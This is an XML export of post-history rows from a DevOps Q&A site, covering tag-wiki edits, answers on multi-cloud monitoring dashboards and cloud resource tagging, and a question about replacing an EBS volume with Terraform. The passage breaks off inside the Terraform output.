  <row Id="3058" PostHistoryTypeId="5" PostId="723" RevisionGUID="9eef6dcc-154e-42c1-b71f-fea6f08410e3" CreationDate="2017-04-17T03:32:49.117" UserId="397" Comment="Added Tag Wiki" Text="Rouan Wilsenach describes [DevOps culture][1] as:&#xD;&#xA; &#xD;&#xA;&gt; The primary characteristic of DevOps culture is increased collaboration between the roles of development and operations. There are some important cultural shifts, within teams and at an organisational level, that support this collaboration.&#xD;&#xA;&#xD;&#xA;DevOps culture is is broken down further into the following aspects:&#xD;&#xA;&#xD;&#xA; - No organisational silos.&#xD;&#xA; - Autonomy within teams.&#xD;&#xA; - Shared responsibility.&#xD;&#xA;&#xD;&#xA;Use this tag for questions about how an organisational culture can be changed through DevOps, or about the culture that many DevOps advocates suggest.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/DevOpsCulture.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3059" PostHistoryTypeId="24" PostId="723" RevisionGUID="9eef6dcc-154e-42c1-b71f-fea6f08410e3" CreationDate="2017-04-17T03:32:49.117" Comment="Proposed by 397 approved by 40, 46 edit id of 278" ContentLicense="CC BY-SA 3.0" />
  <row Id="3060" PostHistoryTypeId="5" PostId="560" RevisionGUID="85e684e2-0bf7-4cb3-b806-9272f5592f55" CreationDate="2017-04-17T03:32:51.827" UserId="397" Comment="Added Tag Wiki" Text="Dictionary.com [describes 'Configuration' as][1]:&#xD;&#xA;&#xD;&#xA;&gt; the way a software program or device is set up for a particular computer, computer system, or task; the specific settings for a program or device:&#xD;&#xA;&#xD;&#xA;Use this tag for DevOps related questions about configuration, which is used to specify the desired settings of a system, service or application.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dictionary.com/browse/configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="3061" PostHistoryTypeId="24" PostId="560" RevisionGUID="85e684e2-0bf7-4cb3-b806-9272f5592f55" CreationDate="2017-04-17T03:32:51.827" Comment="Proposed by 397 approved by 40, 46 edit id of 279" ContentLicense="CC BY-SA 3.0" />
  <row Id="3062" PostHistoryTypeId="5" PostId="916" RevisionGUID="4d505476-f413-4086-bf97-1b257eb5fe3f" CreationDate="2017-04-17T03:32:54.813" UserId="739" Comment="added 268 characters in body" Text="A source control system and git hosting site from Atlassian.  Bitbucket is written in python and provides issue tracking, wikis, and support for code reviews.&#xD;&#xA;&#xD;&#xA;# Links&#xD;&#xA;* [Official Site](https://bitbucket.org/)&#xD;&#xA;* [Wikipedia](https://en.wikipedia.org/wiki/Bitbucket)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3063" PostHistoryTypeId="24" PostId="916" RevisionGUID="4d505476-f413-4086-bf97-1b257eb5fe3f" CreationDate="2017-04-17T03:32:54.813" Comment="Proposed by 739 approved by 46 edit id of 283" ContentLicense="CC BY-SA 3.0" />
  <row Id="3064" PostHistoryTypeId="5" PostId="281" RevisionGUID="881840e3-5ba6-4d53-b4bd-1dcb731c033b" CreationDate="2017-04-17T03:32:58.117" UserId="397" Comment="Initial Tag Wiki" Text="Deployment is the activities of making a system or part of a system available for use in a target environment.&#xD;&#xA;&#xD;&#xA;It is worth noting the DevOps Practice of Continuous Deployment seeks to [separate release from deployment][1]:&#xD;&#xA;&#xD;&#xA;&gt; For most organisations releasing and deploying are the same thing while in fact, these are 2 separate things:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Deployment: A technical handling where a new version of the software is deployed to a specific environment&#xD;&#xA;&gt; - Release: A business handling where the customers are informed that a new version of the software is available and can be used&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bartwullems.blogspot.co.uk/2015/07/continuous-delivery-decouple-release.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3065" PostHistoryTypeId="24" PostId="281" RevisionGUID="881840e3-5ba6-4d53-b4bd-1dcb731c033b" CreationDate="2017-04-17T03:32:58.117" Comment="Proposed by 397 approved by 40, 46 edit id of 282" ContentLicense="CC BY-SA 3.0" />
  <row Id="3066" PostHistoryTypeId="5" PostId="557" RevisionGUID="ce7bff09-5469-4fcc-bf3c-3e064a42f0fd" CreationDate="2017-04-17T03:33:03.893" UserId="397" Comment="Added Tag Wiki" Text="According to dictionary.com [terminology is][1]:&#xD;&#xA;&#xD;&#xA;&gt; The system of terms belonging or peculiar to a science, art, or specialised subject; nomenclature:&#xD;&#xA;&#xD;&#xA;Use this tag to ask about unclear or ambiguous terms, and remember to show any research you've found already before asking about a definition.  Review the following questions also tagged [tag:terminology]:&#xD;&#xA;&#xD;&#xA; - [What could be a valid definition of DevOps to introduce it to a novice?][2]&#xD;&#xA; - [What is a “Walking Skeleton”?][3]&#xD;&#xA; - [What is the definition of “cattle not pets”?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dictionary.com/browse/terminology&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/788/397&#xD;&#xA;  [3]: https://devops.stackexchange.com/q/712/397&#xD;&#xA;  [4]: https://devops.stackexchange.com/q/653/397" ContentLicense="CC BY-SA 3.0" />
  <row Id="3067" PostHistoryTypeId="24" PostId="557" RevisionGUID="ce7bff09-5469-4fcc-bf3c-3e064a42f0fd" CreationDate="2017-04-17T03:33:03.893" Comment="Proposed by 397 approved by 40, 46 edit id of 277" ContentLicense="CC BY-SA 3.0" />
  <row Id="3068" PostHistoryTypeId="5" PostId="917" RevisionGUID="eb2a3f03-cff8-4815-ba79-e36c14159b02" CreationDate="2017-04-17T03:33:06.283" UserId="739" Comment="added 60 characters in body" Text="A source control system and git hosting site from Atlassian." ContentLicense="CC BY-SA 3.0" />
  <row Id="3069" PostHistoryTypeId="24" PostId="917" RevisionGUID="eb2a3f03-cff8-4815-ba79-e36c14159b02" CreationDate="2017-04-17T03:33:06.283" Comment="Proposed by 739 approved by 46 edit id of 284" ContentLicense="CC BY-SA 3.0" />
  <row Id="3071" PostHistoryTypeId="2" PostId="918" RevisionGUID="2adeb8b8-4e59-4be0-ab64-a1b19551ad3f" CreationDate="2017-04-17T04:01:16.377" UserId="739" Text="Google's [SRE book](http://shop.oreilly.com/product/0636920041528.do) would be a good start.&#xD;&#xA;&#xD;&#xA;I would also pick a configuration management system like [tag:ansible] or [tag:chef] and practice with it.  Maybe use it to setup your next desktop or server." ContentLicense="CC BY-SA 3.0" />
  <row Id="3072" PostHistoryTypeId="2" PostId="919" RevisionGUID="7e5147bf-ff55-461a-af43-e8ff0b82ebdc" CreationDate="2017-04-17T08:23:22.787" UserId="1046" Text="I am currently building a solution on Azure (though the question should relate to AWS equally) and I am using a UniqueId tag to locate and use objects. &#xD;&#xA;&#xD;&#xA;For instance we have a storage account that is used for caching applications' blobs. The storage account is created with a random name, but is found and presented to the application through its (UniqueId=AppCache) tag. &#xD;&#xA;&#xD;&#xA;At the moment I am taking the approach that as more tags become useful I'll start to add them. &#xD;&#xA;&#xD;&#xA;Ultimately we're looking for a hands off 'chatops' style solution. So everything created should be automated. &#xD;&#xA;&#xD;&#xA;Should I be looking at a structured approach to tagging (and what does that look like) or is the organic approach more sensible. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3073" PostHistoryTypeId="1" PostId="919" RevisionGUID="7e5147bf-ff55-461a-af43-e8ff0b82ebdc" CreationDate="2017-04-17T08:23:22.787" UserId="1046" Text="How to use tags" ContentLicense="CC BY-SA 3.0" />
  <row Id="3074" PostHistoryTypeId="3" PostId="919" RevisionGUID="7e5147bf-ff55-461a-af43-e8ff0b82ebdc" CreationDate="2017-04-17T08:23:22.787" UserId="1046" Text="&lt;amazon-web-services&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3075" PostHistoryTypeId="5" PostId="892" RevisionGUID="4f2abcd3-ae25-4a49-afdd-76872fe3ecda" CreationDate="2017-04-17T08:46:13.000" UserId="2330" Comment="Tried to make language clearer" Text="Honestly you shouldn't need to use exit command specifically, but there is a conditional build step plugin which may achieve the same end result (code that doesn't run)&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin&#xD;&#xA;&#xD;&#xA;I Haven't come up against this yet, so haven't used the plugin.&#xD;&#xA;&#xD;&#xA;There is also conditionals as found in this prior stackexchange post on Jenkins&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/37690920/jenkins-pipeline-conditional-step-stage" ContentLicense="CC BY-SA 3.0" />
  <row Id="3076" PostHistoryTypeId="5" PostId="905" RevisionGUID="ef5ffc13-5550-4a4f-968e-e37e0478c1d8" CreationDate="2017-04-17T09:38:29.073" UserId="887" Comment="added 50 characters in body" Text="I do not think that there is a single correct piece of advice for such a broad question, but here are my thoughts your situation:&#xD;&#xA;&#xD;&#xA;**As a starting point** look at your current workflow, processes, and technologies being used at the company and then research some tools&#xD;&#xA;*(Jenkins, Kubernetes, Docker, Grifana, Ansible, Kubana etc)*&#xD;&#xA;or techniques(writing your own scripts or programs) that might be useful to your company or any projects you are working on.&#xD;&#xA;&#xD;&#xA;I would also suggest maybe attending local DevOps meetups or talks in your area for more exposure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3077" PostHistoryTypeId="2" PostId="920" RevisionGUID="e6608fb2-533a-449f-9c4f-6473836a68a5" CreationDate="2017-04-17T10:08:58.667" UserId="2362" Text="I'm looking for a single service which can be used a centralized dashboard to monitor both cloud infrastructure (both AWS and Google Cloud Platform) and application.&#xD;&#xA;&#xD;&#xA;I'm looking at few options like sensu which support all the services of aws https://github.com/sensu-plugins/sensu-plugins-aws, but I didn't find any plugins to monitor google cloud.&#xD;&#xA;&#xD;&#xA;Can you guys suggest any services? (My preference is Open Source)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3078" PostHistoryTypeId="1" PostId="920" RevisionGUID="e6608fb2-533a-449f-9c4f-6473836a68a5" CreationDate="2017-04-17T10:08:58.667" UserId="2362" Text="What are cloud infrastructure (aws and google cloud) and application monitoring service?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3079" PostHistoryTypeId="3" PostId="920" RevisionGUID="e6608fb2-533a-449f-9c4f-6473836a68a5" CreationDate="2017-04-17T10:08:58.667" UserId="2362" Text="&lt;amazon-web-services&gt;&lt;monitoring&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3080" PostHistoryTypeId="5" PostId="920" RevisionGUID="bff685ee-4b62-47dd-a4b4-3781cbe4f880" CreationDate="2017-04-17T10:27:44.357" UserId="397" Comment="General Tidy Up" Text="I'm looking for a single product or service which can be used as a centralized dashboard to monitor cloud infrastructure provide by Amazon Web Services and Google Cloud Platform in addition to the application.&#xD;&#xA;&#xD;&#xA;I'm looking at few options like sensu which support all of the [services in Amazon Web Services][1], but I didn't find any plugins to monitor Google Cloud Platform.&#xD;&#xA;&#xD;&#xA;Are there any other services or products that allow me to create this, my preference is Open Source?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/sensu-plugins/sensu-plugins-aws" ContentLicense="CC BY-SA 3.0" />
  <row Id="3081" PostHistoryTypeId="4" PostId="920" RevisionGUID="bff685ee-4b62-47dd-a4b4-3781cbe4f880" CreationDate="2017-04-17T10:27:44.357" UserId="397" Comment="General Tidy Up" Text="How to create a centralised dashboard to monitor multiple cloud (Amazon and Google)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3082" PostHistoryTypeId="5" PostId="892" RevisionGUID="84edcf29-8567-4340-bdf2-2a299caa320e" CreationDate="2017-04-17T10:40:59.877" UserId="14" Comment="Capitalisation; add hyperlink instead of raw link" Text="Honestly you shouldn't need to use exit command specifically, but there is a [Conditional BuildStep Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin) which may achieve the same end result (code that doesn't run).&#xD;&#xA;&#xD;&#xA;I haven't come up against this yet, so haven't used the plugin.&#xD;&#xA;&#xD;&#xA;There is also conditionals as found in this prior Stack Overflow post on Jenkins: http://stackoverflow.com/questions/37690920/jenkins-pipeline-conditional-step-stage" ContentLicense="CC BY-SA 3.0" />
  <row Id="3083" PostHistoryTypeId="24" PostId="892" RevisionGUID="84edcf29-8567-4340-bdf2-2a299caa320e" CreationDate="2017-04-17T10:40:59.877" Comment="Proposed by 14 approved by 46 edit id of 285" ContentLicense="CC BY-SA 3.0" />
  <row Id="3084" PostHistoryTypeId="5" PostId="892" RevisionGUID="043d3829-6580-4e69-ba90-618e63e698f3" CreationDate="2017-04-17T10:45:09.170" UserId="2330" Comment="If we're going to edit to use markdown we could at least be consistent ;-)" Text="Honestly you shouldn't need to use exit command specifically, but there is a [Conditional BuildStep Plugin](https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin) which may achieve the same end result (code that doesn't run).&#xD;&#xA;&#xD;&#xA;I haven't come up against this yet, so haven't used the plugin.&#xD;&#xA;&#xD;&#xA;There is also conditionals as found in this prior Stack Overflow post on Jenkins: [Jenkins Pipeline Conditional Step/Stage](http://stackoverflow.com/questions/37690920/jenkins-pipeline-conditional-step-stage)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3085" PostHistoryTypeId="2" PostId="921" RevisionGUID="39617ef6-278c-4af5-9f13-74abbc12b85f" CreationDate="2017-04-17T11:15:51.337" UserId="397" Text="I think what you are looking for is an Open Source project that can take inputs from both [Amazon CloudWatch][1] and [Google StackDriver][2]; there isn't a huge amount out there at the moment, but I will detail what I know.&#xD;&#xA;&#xD;&#xA;I have made the assumption that you know how to import your application telemetry into the solutions below.&#xD;&#xA;&#xD;&#xA;## Open Source&#xD;&#xA;&#xD;&#xA;Open source solutions to this problem have been lagging behind as late due to favourable prices of SaaS and built-in solutions.  The products below are constantly evolving so if they don't do what you need now they may be in the future.&#xD;&#xA;&#xD;&#xA; - [**Elastic Stack**][3], formerly known as the ELK stack is made up of three individual products from Elastic.co: ElasticSearch, LogStash and Kibana.  It is possible to ingest data from CloudWatch [with a plugin][4] and to export StackDriver data [to Google Pub/Sub][5] and then [ingest into LogStash][6].&#xD;&#xA; - [**Grafana**][7], is slightly better than Kibana at displaying time-series data. However, dosn't have as robust an ecosystem around it.  Grafana has built in support for [Amazon CloudWatch][8], Google StackDriver is [not supported][9] as yet. However, someone is working on it in the form of a plugin.&#xD;&#xA;&#xD;&#xA;## Software as a Service (SaaS)&#xD;&#xA;&#xD;&#xA;Software as a Service monitoring solutions is a multi-billion dollar market, as large enterprises will readily pay for a SaaS or off-the-shelf solution to their dashboarding challenge.&#xD;&#xA;&#xD;&#xA; - [**New Relic**][10], a very mature product with extensive cloud support, including [ingesting of CloudWatch metrics][11] and [Google Cloud Storage Metrics][12].&#xD;&#xA; - [**Splunk**][13], a bit more focused on logs than metrics, however, has good support for [AWS CloudWatch][14] and [Google Cloud Platform][15].&#xD;&#xA; - [**Google Stackdriver**][2], obviously has good support for Google Cloud Platform, also it is capable of [reading performance metrics][16] in from AWS.&#xD;&#xA; - [**DataDog**][17] is my personal favourite, it has a [vast range of integrations][18] including support for [Amazon Web Services][19] and [Google Cloud Platform][20]. &#xD;&#xA;&#xD;&#xA;## Single Pane of Glass&#xD;&#xA;&#xD;&#xA;In the last three years, various products have gone to market providing a [&quot;Single Pane of Glass&quot;][21].  The advantages of these products are:&#xD;&#xA;&#xD;&#xA; - **Heterogeneous Platforms** - you can use many different monitoring tools and products and then unify them with a Single Pane of Glass.&#xD;&#xA; - **Data Normalization** - most monitoring tools have idiosyncrasies in the way they present data a Single Pane of Glass helps to normalise these so that metrics from Google, Amazon and your App make sense when displayed in the same graph.&#xD;&#xA; - **Business View** - a Single Pane of Glass usually has the capability to integrate with non-technical data sources.  As an example displaying data from financial tools to show a measure of business success.  This view makes for some compelling C-Level dashboards that demonstrate how technology is providing value to the firm.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cloudwatch/&#xD;&#xA;  [2]: https://cloud.google.com/stackdriver/&#xD;&#xA;  [3]: https://www.elastic.co/products&#xD;&#xA;  [4]: https://github.com/logstash-plugins/logstash-input-cloudwatch&#xD;&#xA;  [5]: https://cloud.google.com/logging/docs/export/using_exported_logs&#xD;&#xA;  [6]: https://github.com/Wondermall/logstash-input-google-cloud-pubsub&#xD;&#xA;  [7]: https://grafana.com/&#xD;&#xA;  [8]: http://docs.grafana.org/features/datasources/cloudwatch/&#xD;&#xA;  [9]: https://github.com/grafana/grafana/issues/6733&#xD;&#xA;  [10]: https://newrelic.com/&#xD;&#xA;  [11]: https://newrelic.com/plugins/new-relic-platform-team/58&#xD;&#xA;  [12]: https://newrelic.com/plugins/jstech/220&#xD;&#xA;  [13]: https://www.splunk.com/&#xD;&#xA;  [14]: https://www.splunk.com/blog/2017/02/03/how-to-easily-stream-aws-cloudwatch-logs-to-splunk.html&#xD;&#xA;  [15]: https://splunkbase.splunk.com/app/3088/&#xD;&#xA;  [16]: https://aws.amazon.com/solutions/case-studies/stackdriver/&#xD;&#xA;  [17]: https://www.datadoghq.com/&#xD;&#xA;  [18]: https://www.datadoghq.com/product/integrations/&#xD;&#xA;  [19]: http://docs.datadoghq.com/integrations/aws/&#xD;&#xA;  [20]: http://docs.datadoghq.com/integrations/gcp/&#xD;&#xA;  [21]: https://www.opsview.com/resources/blog/three-keys-monitoring-it-single-pane-glass" ContentLicense="CC BY-SA 3.0" />
  <row Id="3086" PostHistoryTypeId="2" PostId="922" RevisionGUID="d7d4d494-0122-4676-9e1a-f6aa8b298790" CreationDate="2017-04-17T11:54:51.753" UserId="397" Text="I would set up a base taxonomy to start with, you can use automation across your estate to ensure that all resources follow the taxonomy.  You have a choice between simply deleting resources that don't comply or reporting on it to a central team who are responsible for chasing down and educating the owners.&#xD;&#xA;&#xD;&#xA;I have followed the [Best Practice][1] set out by Microsoft for both Azure and Amazon:&#xD;&#xA;&#xD;&#xA; - **Owner** - normally this is a team distribution list although sometimes it is an individual if it is a &quot;10% time&quot; project.  To make sure that the e-mail address entered is valid we run a hourly scan of our estate to detect if there are new e-mail addresses in this field then send an e-mail with an activation link, failing to activate results in deletion after three days.&#xD;&#xA; - **CostCenter** - the numeric cost centre, we use this to feed into the end of month reconciliation.&#xD;&#xA; - **SDLCPhase** - one of `Development`, `Test`, `SIT`, `UAT`, `PerfTest`, `PreProduction`, `Production`.  We use this to define different automated behavour:&#xD;&#xA;   - **Development** and **Test**: deleted overnight and at weekends to save on costs.  Teams are responsible for reprovisioning using the automation in the morning.&#xD;&#xA;   - **SIT**, **UAT** and **PerfTest**: deleted when the cost center in our finance system is closed down.&#xD;&#xA;   - **PreProduction**: scaled down overnight and when the cost center is closed down.&#xD;&#xA;   - **Production**: we validate that all resources deployed to the production subscription have this tag, if they don't we send out e-mails extensively.&#xD;&#xA; - **DropDeadDate** - for us, this is a required field for everything except Production.  We run a nightly scan and send e-mails to the owner 7 days and 1 day before the **DropDeadDate** then delete the resource after it has passed.&#xD;&#xA;&#xD;&#xA;In terms of the automation around this I have a tendency to use [Janitor Monkey][2] and some custom bots written is Azure Functions that sit in Slack Channels and do my bidding.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.azurefieldnotes.com/2016/07/18/azure-resource-tagging-best-practices/&#xD;&#xA;  [2]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home" ContentLicense="CC BY-SA 3.0" />
  <row Id="3088" PostHistoryTypeId="2" PostId="923" RevisionGUID="7faff971-7224-414b-bc5a-b1ba4dfe1595" CreationDate="2017-04-17T13:15:12.073" UserId="342" Text="Is there a way to detach ebs volume from existing ec2 instance and attach a new ebs volume using `Terraform v0.9.2` ?&#xD;&#xA;&#xD;&#xA;I prefer to replace the volume rather than trying to destroy the instance and create a new one with new volume.&#xD;&#xA;&#xD;&#xA;File system is umounted from the device within the operating system before detaching the volume and also there is no issue to detach the volume from AWS console.&#xD;&#xA;&#xD;&#xA;	resource &quot;aws_volume_attachment&quot; &quot;mysql_data&quot; {&#xD;&#xA;	  depends_on = [&quot;null_resource.stop_mysql_service2&quot;]&#xD;&#xA;	  device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;	  volume_id = &quot;${aws_ebs_volume.create_volume.0.id}&quot;&#xD;&#xA;	  instance_id = &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy = true&#xD;&#xA;	  force_detach = true&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;	$ ./terraform apply&#xD;&#xA;	data.aws_ebs_snapshot.mysql: Refreshing state...&#xD;&#xA;	aws_ebs_volume.create_volume: Creating...&#xD;&#xA;	  availability_zone: &quot;&quot; =&gt; &quot;eu-central-1a&quot;&#xD;&#xA;	  encrypted:         &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  iops:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  kms_key_id:        &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  size:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  snapshot_id:       &quot;&quot; =&gt; &quot;snap-0afb2303c60f&quot;&#xD;&#xA;	  tags.%:            &quot;&quot; =&gt; &quot;1&quot;&#xD;&#xA;	  tags.Name:         &quot;&quot; =&gt; &quot;mysql&quot;&#xD;&#xA;	  type:              &quot;&quot; =&gt; &quot;gp2&quot;&#xD;&#xA;	aws_ebs_volume.create_volume: Still creating... (10s elapsed)&#xD;&#xA;	aws_ebs_volume.create_volume: Creation complete (ID: vol-04c7f4)&#xD;&#xA;	null_resource.stop_mysql_service2: Creating...&#xD;&#xA;	null_resource.stop_mysql_service2: Provisioning with 'remote-exec'...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connecting to remote host via SSH...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Host: mysql&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   User: ubuntu&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Password: false&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Private key: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   SSH Agent: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connected!&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (10s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):  * Attempt to shutdown MySQL Community Server 5.6.35 timed out&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (20s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (30s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2: Creation complete (ID: 1850529311883)&#xD;&#xA;	aws_volume_attachment.mysql_data: Creating...&#xD;&#xA;	  device_name:  &quot;&quot; =&gt; &quot;/dev/xvdf&quot;&#xD;&#xA;	  force_detach: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  instance_id:  &quot;&quot; =&gt; &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy: &quot;&quot; =&gt; &quot;true&quot;&#xD;&#xA;	  volume_id:    &quot;&quot; =&gt; &quot;vol-04c7f4&quot;&#xD;&#xA;	aws_volume_attachment.mysql_data: Still creating... (10s elapsed)&#xD;&#xA;	Error applying plan:&#xD;&#xA;&#xD;&#xA;	1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: 1 error(s) occurred:&#xD;&#xA;&#xD;&#xA;	* aws_volume_attachment.mysql_data: [WARN] Error attaching volume (vol-04c7f4) to instance (i-0d48be4266da), &#xD;&#xA;    message: &quot;Invalid value '/dev/xvdf' for unixDevice. Attachment point /dev/xvdf is already in use&quot;, code: &quot;InvalidParameterValue&quot;&#xD;&#xA;&#xD;&#xA;	Terraform does not automatically rollback in the face of errors.&#xD;&#xA;	Instead, your Terraform state file has been partially updated with&#xD;&#xA;	any resources that successfully completed. Please address the error&#xD;&#xA;	above and apply again to incrementally change your infrastructure.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="3089" PostHistoryTypeId="1" PostId="923" RevisionGUID="7faff971-7224-414b-bc5a-b1ba4dfe1595" CreationDate="2017-04-17T13:15:12.073" UserId="342" Text="terraform detach existing volume and attach new volume" ContentLicense="CC BY-SA 3.0" />
  <row Id="3090" PostHistoryTypeId="3" PostId="923" RevisionGUID="7faff971-7224-414b-bc5a-b1ba4dfe1595" CreationDate="2017-04-17T13:15:12.073" UserId="342" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3091" PostHistoryTypeId="5" PostId="923" RevisionGUID="e4757391-7982-4918-82db-e5cbf5607e3c" CreationDate="2017-04-17T13:16:08.630" UserId="14" Comment="Thanks lines are not necessary — upvote good answers and accept them instead!" Text="Is there a way to detach EBS volume from existing EC2 instance and attach a new EBS volume using `Terraform v0.9.2` ?&#xD;&#xA;&#xD;&#xA;I prefer to replace the volume rather than trying to destroy the instance and create a new one with new volume.&#xD;&#xA;&#xD;&#xA;File system is unmounted from the device within the operating system before detaching the volume and also there is no issue to detach the volume from AWS console.&#xD;&#xA;&#xD;&#xA;	resource &quot;aws_volume_attachment&quot; &quot;mysql_data&quot; {&#xD;&#xA;	  depends_on = [&quot;null_resource.stop_mysql_service2&quot;]&#xD;&#xA;	  device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;	  volume_id = &quot;${aws_ebs_volume.create_volume.0.id}&quot;&#xD;&#xA;	  instance_id = &quot;i-0d48be4266da&quot;&#xD;&#xA;	  skip_destroy = true&#xD;&#xA;	  force_detach = true&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;	$ ./terraform apply&#xD;&#xA;	data.aws_ebs_snapshot.mysql: Refreshing state...&#xD;&#xA;	aws_ebs_volume.create_volume: Creating...&#xD;&#xA;	  availability_zone: &quot;&quot; =&gt; &quot;eu-central-1a&quot;&#xD;&#xA;	  encrypted:         &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  iops:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  kms_key_id:        &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  size:              &quot;&quot; =&gt; &quot;&lt;computed&gt;&quot;&#xD;&#xA;	  snapshot_id:       &quot;&quot; =&gt; &quot;snap-0afb2303c60f&quot;&#xD;&#xA;	  tags.%:            &quot;&quot; =&gt; &quot;1&quot;&#xD;&#xA;	  tags.Name:         &quot;&quot; =&gt; &quot;mysql&quot;&#xD;&#xA;	  type:              &quot;&quot; =&gt; &quot;gp2&quot;&#xD;&#xA;	aws_ebs_volume.create_volume: Still creating... (10s elapsed)&#xD;&#xA;	aws_ebs_volume.create_volume: Creation complete (ID: vol-04c7f4)&#xD;&#xA;	null_resource.stop_mysql_service2: Creating...&#xD;&#xA;	null_resource.stop_mysql_service2: Provisioning with 'remote-exec'...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connecting to remote host via SSH...&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Host: mysql&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   User: ubuntu&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Password: false&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   Private key: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec):   SSH Agent: true&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): Connected!&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2: Still creating... (10s elapsed)&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 (remote-exec): .&#xD;&#xA;	null_resource.stop_mysql_service2 